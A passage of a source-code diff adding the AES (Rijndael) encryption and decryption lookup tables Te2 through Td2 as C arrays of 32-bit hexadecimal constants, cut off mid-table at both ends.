0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, + 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, + 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, + 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, + 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, + 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, + 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, + 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, + 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, + 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, + 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, + 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, + 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, + 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, + 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, + 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, + 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, + 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, + 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, + 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, + 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, + 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, + 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, + 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, + 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, + 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, + 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, + 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, + 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, + 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, + 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, + 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, + 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, + 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, + 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, + 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, + 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, + 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, + 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, + 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, + 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, + 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, + 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, + 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, + 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, + 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, + 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, + 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, + 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, + 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, + 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, + 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, + 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, + 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, + 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, + 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, + 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, + 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, + 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, + 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, +}; +static const u32 Te3[256] = { + 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, + 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, + 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, + 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, + 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, + 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, + 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, + 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, + 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, + 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, + 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, + 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, + 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, + 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, + 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, + 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, + 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, + 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, + 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, + 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, + 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, + 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, + 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, + 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, + 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, + 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, + 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, + 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, + 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, + 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, + 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, + 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, + 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, + 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, + 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, + 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, + 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, + 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, + 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, + 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, + 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, + 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, + 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, + 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, + 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, + 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, + 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, + 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, + 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, + 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, + 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, + 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, + 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, + 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, + 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, + 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, + 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, + 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, + 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, + 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, + 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, + 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, + 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, + 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, +}; +static const u32 Te4[256] = { + 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, + 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, + 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, + 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, + 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, + 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, + 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, + 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, + 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, + 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, + 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, + 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, + 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, + 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, + 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, + 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, + 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, + 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, + 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, + 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, + 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, + 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, + 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, + 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, + 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, + 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, + 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, + 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, + 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, + 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, + 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, + 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, + 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, + 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, + 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, + 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, + 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, + 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, + 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, + 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, + 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, + 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, + 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, + 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, + 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, + 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, + 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, + 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, + 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, + 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, + 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, + 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, + 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, + 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, + 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, + 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, + 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, + 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, + 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, + 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, + 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, + 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, + 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, + 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, +}; +static const u32 Td0[256] = { + 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, + 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, + 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, + 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, + 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, + 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, + 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, + 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, + 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, + 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, + 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, + 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, + 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, + 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, + 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, + 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, + 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, + 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, + 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, + 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, + 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, + 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, + 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, + 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, + 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, + 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, + 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, + 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, + 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, + 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, + 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, + 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, + 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, + 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, + 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, + 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, + 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, + 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, + 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, + 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, + 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, + 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, + 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, + 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, + 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, + 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, + 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, + 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, + 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, + 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, + 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, + 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, + 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, + 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, + 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, + 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, + 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, + 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, + 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, + 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, + 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, + 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, + 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, + 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, +}; +static const u32 Td1[256] = { + 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, + 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, + 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, + 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, + 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, + 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, + 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, + 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, + 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, + 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, + 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, + 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, + 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, + 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, + 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, + 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, + 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, + 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, + 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, + 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, + 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, + 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, + 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, + 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, + 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, + 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, + 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, + 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, + 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, + 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, + 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, + 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, + 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, + 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, + 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, + 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, + 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, + 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, + 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, + 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, + 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, + 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, + 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, + 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, + 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, + 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, + 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, + 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, + 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, + 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, + 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, + 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, + 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, + 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, + 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, + 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, + 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, + 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, + 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, + 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, + 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, + 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, + 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, + 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, +}; +static const u32 Td2[256] = { + 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, + 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, + 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, + 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, + 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, + 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, + 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, + 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, + 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, + 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, + 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, + 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, + 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, + 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, + 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, + 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, + 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, + 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, + 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, + 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, + 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, + 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, + 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, + 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, + 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, + 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, + 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, + 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, + 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, + 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, + 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, + 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 